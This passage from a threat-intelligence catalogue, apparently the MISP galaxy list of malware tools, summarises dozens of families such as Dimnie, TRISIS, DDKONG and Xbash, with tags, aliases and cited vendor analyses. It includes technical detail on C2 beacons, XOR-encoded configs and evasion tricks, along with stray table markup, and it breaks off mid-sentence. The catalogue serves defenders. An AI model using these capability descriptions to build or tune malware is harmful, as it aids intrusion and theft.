Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.

The tag is: `misp-galaxy:tool="Dimnie"`

Dimnie has relationships with:

- similar: `misp-galaxy:malpedia="Dimnie"` with `estimative-language:likelihood-probability="likely"

ALMA Communicator

The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.

The tag is: `misp-galaxy:tool="ALMA Communicator"`

Silence

In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees’ PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. We saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.

The tag is: misp-galaxy:tool="Silence"

Silence has relationships with:

Volgmer

Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer.

The tag is: misp-galaxy:tool="Volgmer"

Volgmer has relationships with:

- similar: misp-galaxy:mitre-malware="Volgmer - S0180" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
Nymaim

Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans

The tag is: misp-galaxy:tool="Nymaim"

Nymaim has relationships with:

• similar: misp-galaxy:malpedia="Nymaim" with estimative-language:likelihood-probability="likely"

GootKit

As was the case earlier, the bot Gootkit is written in NodeJS, and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc.

The tag is: misp-galaxy:tool="GootKit"

GootKit is also known as:

• Gootkit

GootKit has relationships with:

• similar: misp-galaxy:malpedia="GootKit" with estimative-language:likelihood-probability="likely"
Agent Tesla

Agent Tesla is modern powerful keystroke logger. It provides monitoring your personel computer via keyboard and screenshot. Keyboard, screenshot and registered passwords are sent in log. You can receive your logs via e-mail, ftp or php(web panel).

The tag is: misp-galaxy:tool="Agent Tesla"

Agent Tesla has relationships with:

**wp-vcd**

WordPress site owners should be on the lookout for a malware strain tracked as wp-vcd that hides in legitimate WordPress files and that is used to add a secret admin user and grant attackers control over infected sites. The malware was first spotted online over the summer by Italian security researcher Manuel D’Orso. The initial version of this threat was loaded via an include call for the wp-vcd.php file —hence the malware’s name— and injected malicious code into WordPress core files such as functions.php and class.wp.php. This was not a massive campaign, but attacks continued throughout the recent months.

The tag is: `misp-galaxy:tool="wp-vcd"`

**Quant Loader**

Described as a “professional exe loader / dll dropper” Quant Loader is in fact a very basic trojan downloader. It began being advertised on September 1, 2016 on various Russian underground forums.

The tag is: `misp-galaxy:tool="Quant Loader"`

Quant Loader has relationships with:
SSHDoor

The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key.

The tag is: `misp-galaxy:tool="SSHDoor"

SSHDoor has relationships with:

- similar: `misp-galaxy:malpedia="SSHDoor" with estimative-language:likelihood-probability="likely"

TRISIS

(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric's Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.

The tag is: `misp-galaxy:tool="TRISIS"

TRISIS is also known as:
TRITON

Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants. Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot. The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869. Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: `misp-galaxy:tool="Satori"`

Satori is also known as:

• Okiru

Satori has relationships with:

• similar: `misp-galaxy:botnet="Satori"` with `estimative-language:likelihood-probability="likely"`
• similar: `misp-galaxy:malpedia="Satori"` with `estimative-language:likelihood-probability="likely"`

Table 5482. Table References
PowerSpritz

PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload.

The tag is: misp-galaxy:tool="PowerSpritz"

PowerRatankba

PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.

The tag is: misp-galaxy:tool="PowerRatankba"

PowerRatankba has relationships with:

- similar: misp-galaxy:malpedia="PowerRatankba" with estimative-language:likelihood-probability="likely"

Ratankba

In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign’s platform for C&C communication. The threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.
USBStealer

USBStealer serves as a network tool that extracts sensitive information from air-gapped networks. We have not seen this component since mid 2015.

The tag is: misp-galaxy:tool="USBStealer"

USBStealer has relationships with:

- similar: misp-galaxy:mitre-malware="USBStealer - S0136" with estimative-language:likelihood-probability="likely"

Downdelph

Downdelph is a lightweight downloader developed in the Delphi programming language. As we already mentioned in our white paper, its period of activity was from November 2013 to September 2015 and there have been no new variants seen since.

The tag is: misp-galaxy:tool="Downdelph"

Downdelph has relationships with:

Empyre

The open-source macOS backdoor, 'Empyre', maliciously packaged into a macro'd Word document

The tag is: misp-galaxy:tool="Empyre"

Empyre is also known as:

• Empye

Proton

A fully-featured macOS backdoor, designed to collect and exfiltrate sensitive user data such as 1Password files, browser login data, and keychains.

The tag is: misp-galaxy:tool="Proton"

Mughthesec

Adware which hijacks a macOS user's homepage to redirect search queries.

The tag is: misp-galaxy:tool="Mughthesec"

Mughthesec has relationships with:

• similar: misp-galaxy:malpedia="Mughthesec" with estimative-language:likelihood-probability="likely"

Pwnet

A macOS crypto-currency miner, distributed via a trojaned 'CS-GO' hack.

The tag is: misp-galaxy:tool="Pwnet"

Pwnet has relationships with:
CpuMeaner

A macOS crypto-currency mining trojan.

The tag is: misp-galaxy:tool="CpuMeaner"

CpuMeaner has relationships with:

- similar: misp-galaxy:malpedia="CpuMeaner" with estimative-language:likelihood-probability="likely"

Travle

The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases. We believe that Travle could be a successor to the NetTraveler family.

The tag is: misp-galaxy:tool="Travle"

Travle is also known as:

- PYLOT

Digmine

Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user’s Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account’s friends. The abuse of Facebook is limited to propagation for now, but it wouldn’t be implausible for attackers to hijack the Facebook account itself down the line. This functionality’s code is pushed from the command-and-control (C&C) server, which means it can be updated.
**TSCookie**

TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter “TSCookieRAT”). Downloaded modules only runs on memory.

The tag is: **misp-galaxy:tool="TSCookie"**

TSCookie has relationships with:

- similar: **misp-galaxy:malpedia="PLEAD"** with **estimative-language:likelihood-probability="likely"**
- similar: **misp-galaxy:tool="PLEAD"** with **estimative-language:likelihood-probability="likely"**

**Exforel**

Exforel backdoor malware, VirTool:WinNT/Exforel.A, backdoor implemented at the Network Driver Interface Specification (NDIS) level.

The tag is: **misp-galaxy:tool="Exforel"**

**Rotinom**

W32.Rotinom is a worm that spreads by copying itself to removable drives.

The tag is: **misp-galaxy:tool="Rotinom"**
**Aurora**

You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the "Aurora Exploit". The code has recently gone public and it was also added to the Metasploit framework. This exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers. The exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.

**Cheshire Cat**

Oldest Cheshire Cat malware compiled in 2002. It’s a very old family of malware. The time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems. The malware is for espionage - it’s very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++. A sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.

</table>

**Neuron**

Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect
victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.

The tag is: *misp-galaxy:tool="Neuron"

Neuron has relationships with:

- similar: *misp-galaxy:malpedia="Neuron" with estimative-language:likelihood-probability="likely"

**Table 5507. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Nautilus**

Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name "nautilus-service.dll", again sharing some resemblance to Neuron. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk.

The tag is: *misp-galaxy:tool="Nautilus"

Nautilus has relationships with:

- similar: *misp-galaxy:malpedia="Nautilus" with estimative-language:likelihood-probability="likely"

**Gamut Botnet**

Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service. The malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.
CORALDECK

CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives.

The tag is: `misp-galaxy:tool="CORALDECK"`

CORALDECK is also known as:

- APT.InfoStealer.Win.CORALDECK
- FE_APT_InfoStealer_Win_CORALDECK_1

CORALDECK has relationships with:

- similar: `misp-galaxy:mitre-malware="CORALDECK - S0212"` with estimative-language:likelihood-probability="likely"

DOGCALL

DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.

The tag is: `misp-galaxy:tool="DOGCALL"`

DOGCALL is also known as:

- FE_APT_RAT_DOGCALL
• FE_APT_Backdoor_Win32_DOGCALL_1
• APT.Backdoor.Win.DOGCALL

DOGCALL has relationships with:

POORAIM

POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM.

The tag is: *misp-galaxy:tool="POORAIM"*

POORAIM is also known as:

- Backdoor.APT.POORAIM

POORAIM has relationships with:

- similar: *misp-galaxy:mitre-malware="POORAIM - S0216"* with estimative-language:likelihood-probability="likely"

- Backdoor.APT.WINERACK

WINERACK has relationships with:

- similar: misp-galaxy:mitre-malware="WINERACK - S0219" with estimative-language:likelihood-probability="likely"

RoyalCli

The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: 'c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb' RoyalCli and BS2005 both communicate with the attacker’s command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we'll get to this later.

The tag is: misp-galaxy:tool="RoyalCli"

**KillDisk Wiper**

KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine's energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don't store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.

The tag is: `misp-galaxy:tool="KillDisk Wiper"`

KillDisk Wiper is also known as:

- KillDisk

KillDisk Wiper has relationships with:

UselessDisk

A new MBR bootlocker called DiskWriter, or UselessDisk, has been discovered that overwrites the MBR of a victim's computer and then displays a ransom screen on reboot instead of booting into Windows. This ransom note asks for $300 in bitcoins in order to gain access to Windows again. Might be a wiper.

The tag is: misp-galaxy:tool="UselessDisk"

UselessDisk is also known as:
• DiskWriter

GoScanSSH

During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to takedowns.

The tag is: misp-galaxy:tool="GoScanSSH"

Rovnix

We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.

The tag is: misp-galaxy:tool="Rovnix"

FacexWorm

Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other
Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm’s modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.

BabaYaga

The group behind BabaYaga—believed to be Russian-speaking hackers—uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit. The malware per-se is comprised of two modules—one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time. The intricacies of both modules are detailed in
much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the
security firm which dissected the malware's more recent versions. "[BabaYaga] is relatively well-
written, and it demonstrates that the author has some understanding of software development
challenges, like code deployment, performance and management," Defiant researchers say. "It can
also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around
Wordpress."

The tag is: misp-galaxy:tool="BabaYaga"

**Table 5545. Table References**

**InvisiMole**

Except for the malware’s binary file, very little is known of who’s behind it, how it spreads, or in
what types of campaigns has this been used.

"Our telemetry indicates that the malicious actors behind this malware have been active at least
since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET
products on compromised computers in Ukraine and Russia," said ESET researcher Zuzana
Hromcová, who recently penned an in-depth report about this new threat.

"All infection vectors are possible, including installation facilitated by physical access to the
machine," Hromcová added.

Typical to malware used in highly-targeted attacks, the malware has been stripped of most clues
that could lead researchers back to its author. With the exception of one file (dating to October 13,
2013), all compilation dates have been stripped and replaced with zeros, giving little clues
regarding its timeline and lifespan.

Furthermore, the malware is some clever piece of coding in itself, as it’s comprised of two modules,
both with their own set of spying features, but which can also help each other in exfiltrating data.

Roaming Mantis

Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.

Olympic Destroyer

The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further. Talos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.

DDKONG

The malware in question is configured with the following three exported functions: ServiceMain, Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported ‘InitAction’ function. If 0x6 is specified, the malware is instructed to load the exported ‘KernelDllCmdAction’ function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family’s name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.

The tag is: misp-galaxy:tool="DDKONG"

</thead>
</table>

PLAINTEE

This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named ‘Add’ to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the ‘Sub’ function which begins by spawning a mutex named ‘microsoffuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration
blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects the downloaded plugin to be a DLL with an export function of either 'shell' or 'file'. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.

Bisonal

In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations. In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia.

The tag is: misp-galaxy:tool="Bisonal"

Bisonal has relationships with:

- similar: misp-galaxy:malpedia="Korlia" with estimative-language:likelihood-probability="likely"

Table 5555. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Sekur

Sekur has been CARBON SPIDER’s primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.

The tag is: misp-galaxy:tool="Sekur"

</tr>
</tbody>
</table>

Agent ORM

Agent ORM began circulating alongside Sekur in campaigns throughout the second half of 2015. The
malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).

The tag is: misp-galaxy:tool="Agent ORM"

Agent ORM is also known as:

- Toslibp
- DRIFTPIN

Table 5557. Table References

<table>
<thead>
<tr>

</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/">https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/</a></td>
</tr>
</tbody>
</table>

**VB Flash**

VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.

The tag is: misp-galaxy:tool="VB Flash"

VB Flash is also known as:

- HALFBAKE

VB Flash has relationships with:

- similar: misp-galaxy:mitre-malware="HALFBAKE - S0151" with estimative-language:likelihood-probability="likely"

Table 5558. Table References

</tr>
</tbody>
</table>

**JS Flash**

JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation
and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.

The tag is: misp-galaxy:tool="JS Flash"

JS Flash is also known as:

- JavaScript variant of HALFBAKED

</tr>
</tbody>
</table>

**Bateleur**

Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER's first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.

The tag is: misp-galaxy:tool="Bateleur"

Bateleur has relationships with:

**MagentoCore Malware**

A Dutch security researcher has lifted the veil on a massive website hacking campaign that has infected 7,339 Magento stores with a script that collects payment card data from people shopping
on the sites. The script is what industry experts call a “payment card scraper” or “skimmer.” Hackers breach sites and modify their source code to load the script along with its legitimate files. The script usually loads on store checkout pages and secretly records payment card details entered in payment forms, data that it later sends to a server under the hacker’s control.

The tag is: misp-galaxy:tool="MagentoCore Malware"

**Xbash**

Xbash is a malware family that is targeting Linux and Microsoft Windows servers. We can tie this malware, which we have named Xbash, to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed using Python and converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Xbash aimed on discovering unprotected services, deleting victim’s MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Linux based systems are targeted for ransomware and botnet capabilities. The ransomware targets and deletes linux databases and there is no evidence of any functionality
that makes recovery even possible by payment the ransom. Where as, windows based systems are
targeted for coinmining & self-propagating capabilities. Xbash spreads by attacking weak
passwords and unpatched vulnerabilities.

The tag is: misp-galaxy:tool="Xbash"

</table>

CroniX

The researchers named this campaign CroniX, a moniker that derives from the malware’s use of
Cron to achieve persistence and Xhide to launch executables with fake process names. The
cryptocurrency minted on victim’s computers is Monero (XMR), the coin of choice in cryptojacking
activities. To make sure that rival activity does not revive, CroniX deletes the binaries of other
cryptominers present on the system. Another action CroniX takes to establish supremacy on the
machine is to check the names of the processes and kill those that swallow 60% of the CPU or more.
FASTCash

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:tool=*"FASTCash"

Zebrocy

Zebrocy is a tool used by APT28, which has been observed since late 2015. The communications module used by Zebrocy transmits using HTTP. The implant has key logging and file exfiltration functionality and utilises a file collection capability that identifies files with particular extensions.

The tag is: *misp-galaxy:tool=*"Zebrocy"

Zebrocy is also known as:

- Zekapab

CoalaBot

The tag is: *misp-galaxy:tool=*"CoalaBot"

DanderSpritz

DanderSpritz consists entirely of plugins to gather intelligence, use exploits and examine already controlled machines. It is written in Java and provides a graphical windows interface similar to botnets administrative panels as well as a Metasploit-like console interface. It also includes its own backdoors and plugins for not-FuZZBuNCh-controlled victims. DanderSpritz is the framework for controlling infected machines, different from FuZZBuNCh as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for
DarkPulsar. For DanderSpritz works for a larger range of backdoors, using PeedleCheap in the victim to enable operators launching plugins. PeedleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines. Once a connection is established all DanderSpritz post-exploitation features become available.

The tag is: *misp-galaxy:tool="DanderSpritz"*

DanderSpritz is also known as:

- Dander Spritz

KingMiner

A recently discovered cryptomining operation forces access to Windows servers to use their CPU cycles for mining Monero coins. Detected six months ago, the activity went through multiple stages of evolution. Since it was spotted in mid-June, the malware received two updates and the number of attacks keeps increasing. The researchers at CheckPoint analyzed the new threat and gave it the
